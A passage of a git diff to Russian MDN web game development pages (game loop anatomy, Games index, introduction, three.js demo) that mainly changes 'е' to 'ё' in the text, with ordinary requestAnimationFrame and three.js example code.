текущий кадр пропустит свое окно VSync.</p> +<p><strong>Примечание</strong>: В каждом из методов <code>main()</code>, обсуждаемых здесь, мы планируем новый requestAnimationFrame перед выполнением нашего содержимого цикла. Это не случайно и считает лучшей практикой. Ранний вызов следующего <code>requestAnimationFrame </code>гарантирует, что браузер получит его вовремя, чтобы спланировать соответствующим образом, даже если ваш текущий кадр пропустит своё окно VSync.</p> </div> -<p>Приведенный выше фрагмент кода содержит два оператора. Первый оператор создает функцию как глобальную переменную с именем <code>main()</code>.Эта функция выполняет некоторую работу, а также сообщает браузеру, что нужно вызвать следующий кадр с помощью <code>window.requestAnimationFrame()</code>. Второй оператор вызывает функцию <code>main()</code>, описанную в первом операторе. Поскольку <code>main()</code> вызывается один раз во втором операторе и каждый его вызов помещает себя в очерёдность действий, чтобы отрисовать следующий кадр, <code>main()</code> синхронизируется с вашей частотой кадров.</p> +<p>Приведённый выше фрагмент кода содержит два оператора. Первый оператор создаёт функцию как глобальную переменную с именем <code>main()</code>.Эта функция выполняет некоторую работу, а также сообщает браузеру, что нужно вызвать следующий кадр с помощью <code>window.requestAnimationFrame()</code>. Второй оператор вызывает функцию <code>main()</code>, описанную в первом операторе. Поскольку <code>main()</code> вызывается один раз во втором операторе и каждый его вызов помещает себя в очерёдность действий, чтобы отрисовать следующий кадр, <code>main()</code> синхронизируется с вашей частотой кадров.</p> <p>Конечно, этот цикл не идеален. Прежде чем мы обсудим способы его изменения, давайте обсудим, что он уже делает хорошо.</p> <p>Синхронизация основного цикла с тем, когда браузер рисует на дисплее, позволяет запускать цикл так часто, как браузер хочет рисовать. Вам предоставляется контроль над каждым кадром анимации. Это также очень просто, потому что <code>main()</code> - единственная функция, которая зацикливается. Шутер от первого лица (или подобная игра) представляет новую сцену один раз в каждом кадре. Вы не можете добиться большей плавности и быстродействия.</p> -<p>Но не стоит сразу предполагать, что анимация требует покадрового управления. Простые анимации можно легко выполнять даже с ускорением на GPU с помощью CSS-анимации и других инструментов, включенных в браузер. Их очень много и они сделают вашу жизнь проще.</p> +<p>Но не стоит сразу предполагать, что анимация требует покадрового управления. Простые анимации можно легко выполнять даже с ускорением на GPU с помощью CSS-анимации и других инструментов, включённых в браузер. Их очень много и они сделают вашу жизнь проще.</p> <h2 id="Создание_улучшенного_основного_цикла_в_JavaScript.">Создание улучшенного основного цикла в JavaScript.</h2> -<p>У нашего цикла есть две очевидные проблемы: <code>main()</code> загрязняет <code>{{ domxref("window") }}</code> объект (в нем хранятся все глобальные переменные) и код не оставляет нам возможность остановить цикл, если только вся вкладка не будет закрыта или обновлена. Для решения первой проблемы, если нужно, чтобы основной цикл просто выполнялся и вам не нужен легкий (прямой) доступ к нему, вы можете поместить его внутрь самовызывающейся Function Expression (IIFE).</p> +<p>У нашего цикла есть две очевидные проблемы: <code>main()</code> загрязняет <code>{{ domxref("window") }}</code> объект (в нем хранятся все глобальные переменные) и код не оставляет нам возможность остановить цикл, если только вся вкладка не будет закрыта или обновлена. Для решения первой проблемы, если нужно, чтобы основной цикл просто выполнялся и вам не нужен лёгкий (прямой) доступ к нему, вы можете поместить его внутрь самовызывающейся Function Expression (IIFE).</p> <pre class="brush: js notranslate">/* * Начинаем с точки с запятой в случае, если какая-либо строка кода выше данного примера * полагается на автоматическую вставку точки с запятой (ASI). Браузер может случайно решить, * что весь этот код начинается с предыдущей строки. Первая точка с запятой отмечает начало -* новой строки, если предыдущая не была пустой или завершенной. +* новой строки, если предыдущая не была пустой или завершённой. */ ;(function () { @@ -73,19 +73,19 @@ main(); // Start the cycle</pre> main(); // Вызов цикла })();</pre> -<p>Когда браузер наткнется на IIFE (Immediately Invoked Function Expression), он определит основной цикл и сразу же поставит его в очередь для следующего кадра. Он не будет привязан ни к какому объекту, и <code>main</code> (или <code>main()</code> для методов) будет неиспользуемым именем, доступным в остальной части приложения для определения чего-то другого.</p> +<p>Когда браузер наткнётся на IIFE (Immediately Invoked Function Expression), он определит основной цикл и сразу же поставит его в очередь для следующего кадра. Он не будет привязан ни к какому объекту, и <code>main</code> (или <code>main()</code> для методов) будет неиспользуемым именем, доступным в остальной части приложения для определения чего-то другого.</p> <div class="note"> <p><strong>Примечание:</strong> На практике распространено предотвращать следующий <code>requestAnimationFrame()</code> используя оператор if вместо вызова <code>cancelAnimationFrame()</code>.</p> </div> -<p>Чтобы остановить основной цикл, вам понадобиться отменить вызов <code>main()</code> с помощью <code>{{ domxref("window.cancelAnimationFrame()") }}</code>. Необходимо передать в <code>cancelAnimationFrame()</code> идентификатор последнего вызова <code>requestAnimationFrame()</code>. Давайте предположим, что функции и переменные вашей игры были определены в пространстве имен, которое вы назвали <code>MyGame</code>. В таком случае, основной цикл будет выглядеть следующим образом:</p> +<p>Чтобы остановить основной цикл, вам понадобиться отменить вызов <code>main()</code> с помощью <code>{{ domxref("window.cancelAnimationFrame()") }}</code>. Необходимо передать в <code>cancelAnimationFrame()</code> идентификатор последнего вызова <code>requestAnimationFrame()</code>. Давайте предположим, что функции и переменные вашей игры были определены в пространстве имён, которое вы назвали <code>MyGame</code>. В таком случае, основной цикл будет выглядеть следующим образом:</p> <pre class="brush: js notranslate">/* * Начинаем с точки с запятой в случае, если какая-либо строка кода выше данного примера * полагается на автоматическую вставку точки с запятой (ASI). Браузер может случайно решить, * что весь этот код начинается с предыдущей строки. Первая точка с запятой отмечает начало -* новой строки, если предыдущая не была пустой или завершенной. +* новой строки, если предыдущая не была пустой или завершённой. * * Давайте также предположим, что MyGame уже определена. */ @@ -100,7 +100,7 @@ main(); // Start the cycle</pre> main(); // Вызов цикла })();</pre> -<p>Теперь у нас есть переменная <code>stopMain</code>, объявленная в нашем пространстве имен <code>MyGame</code>, которая содержит идентификатор последнего вызова <code>requestAnimationFrame()</code> нашего основного цикла. В любой момент мы может остановить основной цикл, сказав браузеру, чтобы тот отменил запрос, соответствующий последнему маркеру.</p> +<p>Теперь у нас есть переменная <code>stopMain</code>, объявленная в нашем пространстве имён <code>MyGame</code>, которая содержит идентификатор последнего вызова <code>requestAnimationFrame()</code> нашего основного цикла. В любой момент мы может остановить основной цикл, сказав браузеру, чтобы тот отменил запрос, соответствующий последнему маркеру.</p> <pre class="brush: js notranslate">window.cancelAnimationFrame( MyGame.stopMain );</pre> @@ -108,7 +108,7 @@ main(); // Start the cycle</pre> <h2 id="Построение_более_оптимизированного_основного_цикла_в_JavaScript">Построение <em>более оптимизированного</em> основного цикла в JavaScript</h2> -<p>В конце контов, в JavaScript браузер выполняет свой собственный основной цикл, и ваш код существует на некоторых его этапах. В приведенных выше разделах описываются основные циклы, которые стараются не отнимать контроль у браузера. Их методы прикрепляют себя к <code>window.requestAnimationFrame(),</code> который запрашивает контроль над предстоящим кадром у браузера. Браузер решает, как связать эти запросы с их основным циклом. Спецификация <a href="http://www.w3.org/TR/animation-timing/">W3C для requestAnimationFrame</a> на самом деле точно не определяет, когда браузеры должны выполнять колбэки <code>requestAnimationFrame</code>. Это может быть преимуществом, поскольку позволяет поставщикам браузеров свободно экспериментировать с решениями, которые они считают лучшими, и настраивать их с течением времени.</p> +<p>В конце контов, в JavaScript браузер выполняет свой собственный основной цикл, и ваш код существует на некоторых его этапах. В приведённых выше разделах описываются основные циклы, которые стараются не отнимать контроль у браузера. Их методы прикрепляют себя к <code>window.requestAnimationFrame(),</code> который запрашивает контроль над предстоящим кадром у браузера. Браузер решает, как связать эти запросы с их основным циклом. Спецификация <a href="http://www.w3.org/TR/animation-timing/">W3C для requestAnimationFrame</a> на самом деле точно не определяет, когда браузеры должны выполнять колбэки <code>requestAnimationFrame</code>. Это может быть преимуществом, поскольку позволяет поставщикам браузеров свободно экспериментировать с решениями, которые они считают лучшими, и настраивать их с течением времени.</p> <p>Современные версии Firefox и Google Chrome (вероятно, и другие) <em>пытаются </em>подключить колбэки <code>requestAnimationFrame</code> к своему основному потоку в самом начале временного интервала фрейма<em>. </em>Таким образом основной поток браузера <em>пытается </em>выглядеть следующим образом: </p> @@ -116,12 +116,12 @@ main(); // Start the cycle</pre> <li>Запустить новый кадр (пока предыдущий обрабатывается на дисплее.).</li> <li>Пройтись по колбэкам <code>requestAnimationFrame</code> и вызвать их.</li> <li>Выполнить сборку мусора и другие задачи для каждого кадра, когда вышеупомянутые колбэки перестают контролировать основной поток.</li> - <li>Спать (если только какое-либо событие не прервет сон браузера) до тех пор, пока монитор не будет готов к вашему изображению (<a href="http://www.techopedia.com/definition/92/vertical-sync-vsync">VSync</a>), и повторить его.</li> + <li>Спать (если только какое-либо событие не прервёт сон браузера) до тех пор, пока монитор не будет готов к вашему изображению (<a href="http://www.techopedia.com/definition/92/vertical-sync-vsync">VSync</a>), и повторить его.</li> </ol> <p>Вы можете думать о разработке realtime applications, как о запасе времени для работы. Все вышеперечисленные шаги должны выполняться каждые 16 с половиной миллисекунд, чтобы не отставать от дисплея с частотой 60Гц. Браузеры вызывают ваш код таким образом, чтобы предоставить ему максимум времени для вычислений. Ваш основной поток часто запускает рабочие нагрузки, которые даже не находятся в основном потоке (Например, растеризация или шейдеры в WebGL). Большие вычисления могут выполняться на Web Worker-e или GPU одновременно с тем, как браузер использует свой основной поток для управления сборкой мусора, обработки асинхронных вызовов или других задач. </p> -<p>Пока мы обсуждаем распределение нашего временного бюджета, многие браузеры имеют инструмент под названием <em>High Resolution Time. Объект</em> {{ domxref("Date") }} больше не используется в качестве основного метода синхронизации событий, поскольку он очень не точен и может быть изменен системными часами. High Resolution Time, с другой стороны, подсчитывает количество миллисекунд начиная с <code>navigationStart</code> (при выгрузке предыдущего документа). Это значение возвращается в виде десятичного числа с точностью до миллисекунды. Он известен как <code>DOMHighResTimeStamp</code>, но для всех целей и задач считайте его числом с плавающей запятой. </p> +<p>Пока мы обсуждаем распределение нашего временного бюджета, многие браузеры имеют инструмент под названием <em>High Resolution Time. Объект</em> {{ domxref("Date") }} больше не используется в качестве основного метода синхронизации событий, поскольку он очень не точен и может быть изменён системными часами. High Resolution Time, с другой стороны, подсчитывает количество миллисекунд начиная с <code>navigationStart</code> (при выгрузке предыдущего документа). Это значение возвращается в виде десятичного числа с точностью до миллисекунды. Он известен как <code>DOMHighResTimeStamp</code>, но для всех целей и задач считайте его числом с плавающей запятой. </p> <div class="note"> <p><strong>Примечание</strong>: Системы (аппаратные или программные), которые не могу обеспечить точность в микросекундах, могут по крайней мере обеспечить точность в миллисекундах. Однако, они должны обеспечивать точность до 0,001 мс, если способны на это. </p> @@ -129,7 +129,7 @@ main(); // Start the cycle</pre> -<p>Это значение нельзя использовать само по себе, потому что оно относиться к неинтересному событию, но его можно вычесть из другой временной ветки, чтобы четко и точно определить, сколько времени прошло между этими двумя точками. Чтобы получить одну из этих временных меток, вы можете вызвать <code>window.performance.now()</code> и сохранить результат в переменную. </p> +<p>Это значение нельзя использовать само по себе, потому что оно относиться к неинтересному событию, но его можно вычесть из другой временной ветки, чтобы чётко и точно определить, сколько времени прошло между этими двумя точками. Чтобы получить одну из этих временных меток, вы можете вызвать <code>window.performance.now()</code> и сохранить результат в переменную. </p> <pre class="brush: js notranslate">var tNow = window.performance.now(); </pre> @@ -140,7 +140,7 @@ main(); // Start the cycle</pre> * Начинаем с точки с запятой в случае, если какая-либо строка кода выше данного примера * полагается на автоматическую вставку точки с запятой (ASI). Браузер может случайно решить, * что весь этот код начинается с предыдущей строки. Первая точка с запятой отмечает начало -* новой строки, если предыдущая не была пустой или завершенной. +* новой строки, если предыдущая не была пустой или завершённой. * * Давайте также предположим, что MyGame уже определена. */ diff --git a/files/ru/games/index.html b/files/ru/games/index.html index 68b713c1bb..f049abd074 100644 --- a/files/ru/games/index.html +++ b/files/ru/games/index.html @@ -21,7 +21,7 @@ translation_of: Games <dt><a href="/en-US/docs/Games/Introduction" title="/en-US/docs/Games/Introduction">Введение в разработку игр для Web</a></dt> <dd>Ознакомление с технологиями, полезными для разработчиков игр, а также - как начать разработку игр, используя Web-технологии. Эта статья также рассматривает бизнес-кейс для создания web-игр.</dd> <dt><a href="/en-US/docs/Games/Anatomy_of_a_vIdeo_game">Анатомия видео игр</a></dt> - <dd>Что такое видео игры на самом деле? Есть определенные вещи, которые являются общими для всех игр (даже если, на первый взгляд, так и не кажется). Данная статья попытается объяснить такие понятия, как основные циклы, в совершенно общем контексте. При этом она все равно соответствует веб-стандартам.</dd> + <dd>Что такое видео игры на самом деле? Есть определённые вещи, которые являются общими для всех игр (даже если, на первый взгляд, так и не кажется). Данная статья попытается объяснить такие понятия, как основные циклы, в совершенно общем контексте. При этом она все равно соответствует веб-стандартам.</dd> <dt><a href="/en-US/docs/Web/Apps/Developing/Games/Special_considerations">Особые обсуждения для разработчиков игр</a></dt> <dd><span id="result_box" lang="ru"><span>Эта статья</span> <span>из</span> <span>App</span> <span>Center</span> <span>бегло рассматривает</span> <span>вещи</span><span>, которые необходимо учитывать</span> <span>при попытке</span> <span>создать игру, которая</span> <span>будет работать</span> <span>как открытое</span> <span>веб-приложение</span><span>.</span></span></dd> </dl> @@ -36,7 +36,7 @@ translation_of: Games <dt><a href="http://gameprogrammingpatterns.com/">Шаблоны программирования игр</a></dt> <dd>Онлайн-книга, написанная Bob Nystrom, которая рассказывает о шаблонах программирования в контексте разработки игр с целью помочь разработчикам создавать более эффективный, рациональный код.</dd> <dt><a href="http://blog.artillery.com/">Artillery blog</a></dt> - <dd><span id="result_box" lang="ru"><span>В играх HTML5 компании Artillery есть несколько полезных статей в своем блоге.</span></span></dd> + <dd><span id="result_box" lang="ru"><span>В играх HTML5 компании Artillery есть несколько полезных статей в своём блоге.</span></span></dd> <dt><a href="https://leanpub.com/buildinggamesforfirefoxos/">Создание игр для Firefox OS</a></dt> <dd><span id="result_box" lang="ru"><span>Краткое руководство по созданию 2D-игр с HTML5 для распространения на Firefox и других мобильных платформах.</span></span></dd> <dt><a href="http://gamedevjsweekly.com/">Gamedev.js Weekly</a></dt> @@ -56,7 +56,7 @@ translation_of: Games <dt><a href="http://js13kgames.com/">js13kGames</a></dt> <dd><span id="result_box" lang="ru"><span>Конкурс кодирования JavaScript для разработчиков игр HTML5 с ограничением размера файла, равным 13 килобайтам.</span> <span>Все представленные игры доступны в удобном для чтения виде на GitHub.</span></span></dd> <dt><a href="https://hacks.mozilla.org/category/games/">Mozilla Hacks blog</a></dt> - <dd><span id="result_box" lang="ru"><span>Категория игр в блоге Mozilla Hacks, содержащем интересные статьи, посвященные </span></span>gamedev<span lang="ru"><span>.</span></span></dd> + <dd><span id="result_box" lang="ru"><span>Категория игр в блоге Mozilla Hacks, содержащем интересные статьи, посвящённые </span></span>gamedev<span lang="ru"><span>.</span></span></dd> </dl> </div> @@ -65,24 +65,24 @@ translation_of: Games <dl> <dt><a href="/en-US/docs/Games/Tools">Инструменты</a></dt> - <dd>Это раздел об инструментах, созданных для облегчения создания эффективных игр для Web, таких как фреймворки, компиляторы (например, Emscripten), и инструменты для отладки. <span id="result_box" lang="ru"><span>Объясняются</span> <span>основные концепции</span> <span>каждого</span><span>,</span> <span>дается </span><span>прочная база</span> <span>для работы</span> с ними<span>.</span></span></dd> - <dt><a href="/en-US/docs/Games/Techniques">Технические приемы</a></dt> + <dd>Это раздел об инструментах, созданных для облегчения создания эффективных игр для Web, таких как фреймворки, компиляторы (например, Emscripten), и инструменты для отладки. <span id="result_box" lang="ru"><span>Объясняются</span> <span>основные концепции</span> <span>каждого</span><span>,</span> <span>даётся </span><span>прочная база</span> <span>для работы</span> с ними<span>.</span></span></dd> + <dt><a href="/en-US/docs/Games/Techniques">Технические приёмы</a></dt> <dd>Этот раздел содержит множество статей об очень важных техниках создания игр, таких как физика, <span class="short_text" id="result_box" lang="ru"><span>обнаружение столкновения</span></span>, анимация, 3D, хранение данных, и многое другое.</dd> <dt><a href="/en-US/docs/Games/Workflows">Рабочий процесс</a></dt> - <dd><span id="result_box" lang="ru"><span>Этот раздел</span> <span>включает в себя несколько</span> <span>тематических исследований об</span> <span>основных</span> <span>инструментах и методах</span><span>, охватываемых</span> <span>выше,</span> <span>и применение их</span> <span>к созданию</span> <span>удивительных</span> <span>игр</span><span>.</span></span> Здесь каждый найдет что-то полезное, являетесь ли вы опытным веб-разработчиком, желающим писать 2D или 3D игры, С++ разработчиком, задумавшим портировать свои игры в веб, или мобильным разработчиком, ищущим помощь в написании лучших мобильных игр.</dd> + <dd><span id="result_box" lang="ru"><span>Этот раздел</span> <span>включает в себя несколько</span> <span>тематических исследований об</span> <span>основных</span> <span>инструментах и методах</span><span>, охватываемых</span> <span>выше,</span> <span>и применение их</span> <span>к созданию</span> <span>удивительных</span> <span>игр</span><span>.</span></span> Здесь каждый найдёт что-то полезное, являетесь ли вы опытным веб-разработчиком, желающим писать 2D или 3D игры, С++ разработчиком, задумавшим портировать свои игры в веб, или мобильным разработчиком, ищущим помощь в написании лучших мобильных игр.</dd> </dl> <h2 id="Примеры">Примеры</h2> <dl> <dt><a href="/en-US/demos/detail/bananabread" title="/en-US/demos/detail/bananabread">BananaBread</a></dt> - <dd><span id="result_box" lang="ru"><span>Многопользовательский трехмерный шутер от первого лица, разработанный с использованием Emscripten, WebGL и WebRTC.</span> <span>Одна из первых демонстрационных игр для WebGL.</span></span></dd> + <dd><span id="result_box" lang="ru"><span>Многопользовательский трёхмерный шутер от первого лица, разработанный с использованием Emscripten, WebGL и WebRTC.</span> <span>Одна из первых демонстрационных игр для WebGL.</span></span></dd> <dt><a href="https://hacks.mozilla.org/2013/12/monster-madness-creating-games-on-the-web-with-emscripten/">Monster Madness</a></dt> <dd><span id="result_box" lang="ru"><span>Сетевой шутер на основе WebGL и asm.js, разработанный Nom Nom Games и Trendy entertainment.</span></span></dd> <dt><a href="http://www.auraluxgame.com/game/">Auralux</a></dt> <dd><span id="result_box" lang="ru"><span>Стратегия WebGL и asm.js: захватите все солнца, чтобы победить!</span></span></dd> <dt><a href="http://playcanv.as/p/JtL2iqIH">Swooop</a></dt> - <dd><span id="result_box" lang="ru"><span>Полёт на самолёте в игре: контролируйте свой самолет и собирайте драгоценности.</span> <span>Снова, созданный с</span></span> <a href="https://playcanvas.com/">PlayCanvas</a>.</dd> + <dd><span id="result_box" lang="ru"><span>Полёт на самолёте в игре: контролируйте свой самолёт и собирайте драгоценности.</span> <span>Снова, созданный с</span></span> <a href="https://playcanvas.com/">PlayCanvas</a>.</dd> <dt><a href="https://ga.me/games/polycraft">Polycraft</a></dt> <dd><span id="result_box" lang="ru"><span>Кораблекрушение.</span> <span>Исследуйте остров и победите монстров.</span></span></dd> <dt><a href="http://beta.unity3d.com/jonas/DT2/">Dead Trigger 2</a></dt> diff --git a/files/ru/games/introduction/index.html b/files/ru/games/introduction/index.html index 8db80d6d2d..088d012235 100644 --- a/files/ru/games/introduction/index.html +++ b/files/ru/games/introduction/index.html @@ -14,7 +14,7 @@ original_slug: Games/Ввод <p>Современный web позволяет не только передавать различную информацию, но и создавать интерактивный контент. Например, потрясающие, высококачественные игры.</p> -<p>Диапазон игр, которые Вы можете встретить в web поражает и не уступает "нативным" играм, реализованным с использованием языка программирования c++ и java.Причем это касается не только относительно небольших игр, но и объемных игр жанра РПГ, 3d шутерах и многом другом. Это уже не аналоги простых карточных игр или многопользовательских социальных играх, реализованных с помощью Flash®, а гораздо более сложные вещи. Благодаря значительным улучшениям языка программирования JavaScript и появлению новых API браузера, Вы можете создавать игры, не зависящие от операционной системы. Для их работы необходим только браузер. А иногда, например на устройствах с поддержкой <a href="https://developer.mozilla.org/en-US/docs/HTML/HTML5">HTML5</a>, таких как <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a>, не нужен даже он.</p> +<p>Диапазон игр, которые Вы можете встретить в web поражает и не уступает "нативным" играм, реализованным с использованием языка программирования c++ и java.Причём это касается не только относительно небольших игр, но и объёмных игр жанра РПГ, 3d шутерах и многом другом. Это уже не аналоги простых карточных игр или многопользовательских социальных играх, реализованных с помощью Flash®, а гораздо более сложные вещи. Благодаря значительным улучшениям языка программирования JavaScript и появлению новых API браузера, Вы можете создавать игры, не зависящие от операционной системы. Для их работы необходим только браузер. А иногда, например на устройствах с поддержкой <a href="https://developer.mozilla.org/en-US/docs/HTML/HTML5">HTML5</a>, таких как <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a>, не нужен даже он.</p> <h2 id="Игровая_платформа_HTML5">Игровая платформа HTML5</h2> @@ -75,7 +75,7 @@ original_slug: Games/Ввод <p>6. Вы можете управлять своими отношениями с клиентами более тесно, по-своему. Больше не придётся работать с обратной связью магазина приложений. Взаимодействуйте со своими клиентами так, как вы хотите, без посредника.</p> -<p>7. Ваши игроки могут играть в вашу игру в любом месте, в любое время. Поскольку Web распространен повсеместно, ваши клиенты могут проверить статус своей игры на своих телефонах, планшетах, домашних ноутбуках, рабочих столах или на чем-либо еще.</p> +<p>7. Ваши игроки могут играть в вашу игру в любом месте, в любое время. Поскольку Web распространён повсеместно, ваши клиенты могут проверить статус своей игры на своих телефонах, планшетах, домашних ноутбуках, рабочих столах или на чем-либо еще.</p> <h2 id="Web-технологии_для_разработчиков_игр">Web-технологии для разработчиков игр</h2> @@ -92,22 +92,22 @@ original_slug: Games/Ввод <dt><a href="/en-US/docs/HTML/Element/audio" title="/en-US/docs/HTML/Element/audio">HTML audio</a></dt> <dd>Элемент {{HTMLElement ("audio")}} позволяет легко воспроизводить простые звуковые эффекты и музыку. Если ваше потребности выше, ознакомьтесь с Web Audio API для полной мощности обработки звука!</dd> <dt><a href="/en-US/docs/IndexedDB" title="/en-US/docs/IndexedDB">IndexedDB</a></dt> - <dd>Мощный API для хранения пользовательских данных на собственном компьютере или устройстве. Отличный способ локально сохранить состояние игры и другую информацию, без необходимости подгружать ее каждый раз при необходимости. Также полезно для того, чтобы сделать ваш проект играбельным, даже если пользователь не подключен к Интернету (например, когда он оказался в самолете на несколько часов).</dd> + <dd>Мощный API для хранения пользовательских данных на собственном компьютере или устройстве. Отличный способ локально сохранить состояние игры и другую информацию, без необходимости подгружать её каждый раз при необходимости. Также полезно для того, чтобы сделать ваш проект играбельным, даже если пользователь не подключён к Интернету (например, когда он оказался в самолёте на несколько часов).</dd> <dt><a href="/en-US/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a></dt> - <dd>JavaScript, язык программирования, используемый в Интернете, быстро развивается в современных браузерах и становится ещё быстрее. Используйте его возможности для написания кода своей игры или используйте такие технологии, как Emscripten или Asm.js, чтобы с легкостью переносить существующие игры.</dd> + <dd>JavaScript, язык программирования, используемый в Интернете, быстро развивается в современных браузерах и становится ещё быстрее. Используйте его возможности для написания кода своей игры или используйте такие технологии, как Emscripten или Asm.js, чтобы с лёгкостью переносить существующие игры.</dd> <dt><a href="/en-US/docs/WebAPI/Pointer_Lock" title="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock API</a></dt> - <dd>API Pointer Lock позволяет блокировать мышь или другое указывающее устройство в интерфейсе вашей игры. Вместо абсолютного позиционирования курсора вы получаете координаты дельты, которые дают вам более точные измерения того, что делает пользователь, и предотвращают случайную отправку ввода где-то еще, тем самым упуская важные пользовательские действия.</dd> + <dd>API Pointer Lock позволяет блокировать мышь или другое указывающее устройство в интерфейсе вашей игры. Вместо абсолютного позиционирования курсора вы получаете координаты дельты, которые дают вам более точные измерения того, что делает пользователь, и предотвращают случайную отправку ввода где-то ещё, тем самым упуская важные пользовательские действия.</dd> <dt></dt> <dt><a href="/en-US/docs/SVG" title="/en-US/docs/SVG">SVG</a> (масштабируемая векторная графика)</dt> <dd>Позволяет создавать векторную графику, которая плавно масштабируется независимо от размера или разрешения дисплея пользователя.</dd> <dt><a href="/en-US/docs/JavaScript/Typed_arrays" title="/en-US/docs/JavaScript/Typed_arrays">Typed Arrays</a></dt> - <dd>Типизированные массивы JavaScript дают вам доступ к необработанным двоичным данным из кода, что позволяет вам манипулировать текстурами GL, игровыми данными или чем-то еще, даже если код не в формате JavaScript.</dd> + <dd>Типизированные массивы JavaScript дают вам доступ к необработанным двоичным данным из кода, что позволяет вам манипулировать текстурами GL, игровыми данными или чем-то ещё, даже если код не в формате JavaScript.</dd> <dt><a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a></dt> <dd>Этот API необходим для управления воспроизведением, синтезом звука и манипулированием аудио из кода JavaScript. Позволяет создавать потрясающие звуковые эффекты, а также воспроизводить и манипулировать музыкой в режиме реального времени.</dd> <dt><a href="/en-US/docs/WebGL" title="/en-US/docs/WebGL">WebGL</a></dt> <dd>Позволяет создавать высокопроизводительную аппаратно-ускоренную 3D (и 2D) графику из веб-контента. Это веб-реализация <a href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0.</dd> <dt><a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a></dt> - <dd>API WebRTC (Real-Time Communications) дает вам возможность управлять аудио- и видеоданными, включая телеконференции и передачу данных из других приложений между двумя пользователями. Хотите, чтобы ваши игроки могли общаться друг с другом, взрывая монстров? Это API для вас!</dd> + <dd>API WebRTC (Real-Time Communications) даёт вам возможность управлять аудио- и видеоданными, включая телеконференции и передачу данных из других приложений между двумя пользователями. Хотите, чтобы ваши игроки могли общаться друг с другом, взрывая монстров? Это API для вас!</dd> <dt><a href="/en-US/docs/WebSockets" title="/en-US/docs/WebSockets">WebSockets</a></dt> <dd> <p dir="ltr" id="tw-target-text">The WebSocket API позволяет подключить ваше приложение или сайт к серверу для передачи данных в реальном времени. Идеально подходит для многопользовательских игр, чатов и т. д.</p> diff --git a/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html b/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html index 7f07e08d93..1df6408271 100644 --- a/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html +++ b/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html @@ -66,7 +66,7 @@ renderer.setClearColor(0xDDDDDD, 1); document.body.appendChild(renderer.domElement); </pre> -<p>Создаем новый WebGL renderer, устанавливаем размер так, чтобы он занимал все пространство страницы, прикрепляем DOM элемент к странице. Вы могли заметить параметр <code>antialias</code> в первой строке — если он установлен в <code>true</code>, то границы объектов сглаживаются. Метод <code>setClearColor()</code> устанавливает цвет фона (мы установили в 0xDDDDDD, светло-серый, значение по умолчанию - черный).</p> +<p>Создаём новый WebGL renderer, устанавливаем размер так, чтобы он занимал все пространство страницы, прикрепляем DOM элемент к странице. Вы могли заметить параметр <code>antialias</code> в первой строке — если он установлен в <code>true</code>, то границы объектов сглаживаются. Метод <code>setClearColor()</code> устанавливает цвет фона (мы установили в 0xDDDDDD, светло-серый, значение по умолчанию - чёрный).</p> <p>Добавьте этот код в ваш элемент {{htmlelement("script")}}.</p> @@ -81,7 +81,7 @@ document.body.appendChild(renderer.domElement); <h2 id="Камера">Камера</h2> -<p>У нас есть сцена, теперь необходимо создать камеру. С помощью следующих строк мы добавим камеру, установим ее позицию в координатной системе и направим ее на нужную нам точку, где расположено то, что мы хотим видеть:</p> +<p>У нас есть сцена, теперь необходимо создать камеру. С помощью следующих строк мы добавим камеру, установим её позицию в координатной системе и направим её на нужную нам точку, где расположено то, что мы хотим видеть:</p> <pre class="brush: js notranslate">var camera = new THREE.PerspectiveCamera(70, WIDTH/HEIGHT); camera.position.z = 50; @@ -90,7 +90,7 @@ scene.add(camera); <p>Добавьте следующий код в программу.</p> -<p>Существует несколько типов камер: кубическая (Cube), ортографическая (Orthographic), но самая простая - перспективная (Perspective). Чтобы инициализировать ее, нужно установить угол обзора и соотношение сторон: Первое нужно для указания того, как широко мы видим, последний для того, чтобы эти объекты имели правильные пропорции. Объясним поподробнее, что означают числа, что мы установили:</p> +<p>Существует несколько типов камер: кубическая (Cube), ортографическая (Orthographic), но самая простая - перспективная (Perspective). Чтобы инициализировать её, нужно установить угол обзора и соотношение сторон: Первое нужно для указания того, как широко мы видим, последний для того, чтобы эти объекты имели правильные пропорции. Объясним поподробнее, что означают числа, что мы установили:</p> <ul> <li>Мы установили поле зрения в 70, с этим можно поэкспериментировать: чем больше число, тем больше угол обзора, тем шире мы видим. Представьте обычную камеру и камеру с эффектом fish eye, Которая позволяет увидеть больше. Значение по умолчанию 50.</li> @@ -115,9 +115,9 @@ scene.add(camera); render(); </pre> -<p>На каждом новом кадре вызывается функция <code>render()</code>, а <code>renderer</code> рендерит <code>scene</code> и <code>camera</code>. Сразу после объявления функции мы в первый раз вызываем ее, чтобы запустить цикл, после чего он будет использоваться бесконечно.</p> +<p>На каждом новом кадре вызывается функция <code>render()</code>, а <code>renderer</code> рендерит <code>scene</code> и <code>camera</code>. Сразу после объявления функции мы в первый раз вызываем её, чтобы запустить цикл, после чего он будет использоваться бесконечно.</p> -<p>Еще раз, добавьте этот новый код ниже ваших предыдущих дополнений. Попробуйте сохранить файл и открыть его в браузере. Теперь вы должны увидеть серое окно. Поздравляем!</p> +<p>Ещё раз, добавьте этот новый код ниже ваших предыдущих дополнений. Попробуйте сохранить файл и открыть его в браузере. Теперь вы должны увидеть серое окно. Поздравляем!</p> <h2 id="Geometry">Geometry</h2> @@ -155,7 +155,7 @@ render(); <pre class="brush: js notranslate">scene.add(cube); </pre> -<p>Если вы сохраните код и обновите вкладку браузера, вы увидите квадрат, а не куб, потому, что он стоит ровно напротив камеры и мы видим только одну сторону. У объектов есть полезное свойство - мы можем изменять их как хотим. Например, вы можете вращать его и масштабировать, сколько угодно. Что давайте немного повернем его, чтобы видеть больше сторон. Добавить в конец кода эту строку:</p> +<p>Если вы сохраните код и обновите вкладку браузера, вы увидите квадрат, а не куб, потому, что он стоит ровно напротив камеры и мы видим только одну сторону. У объектов есть 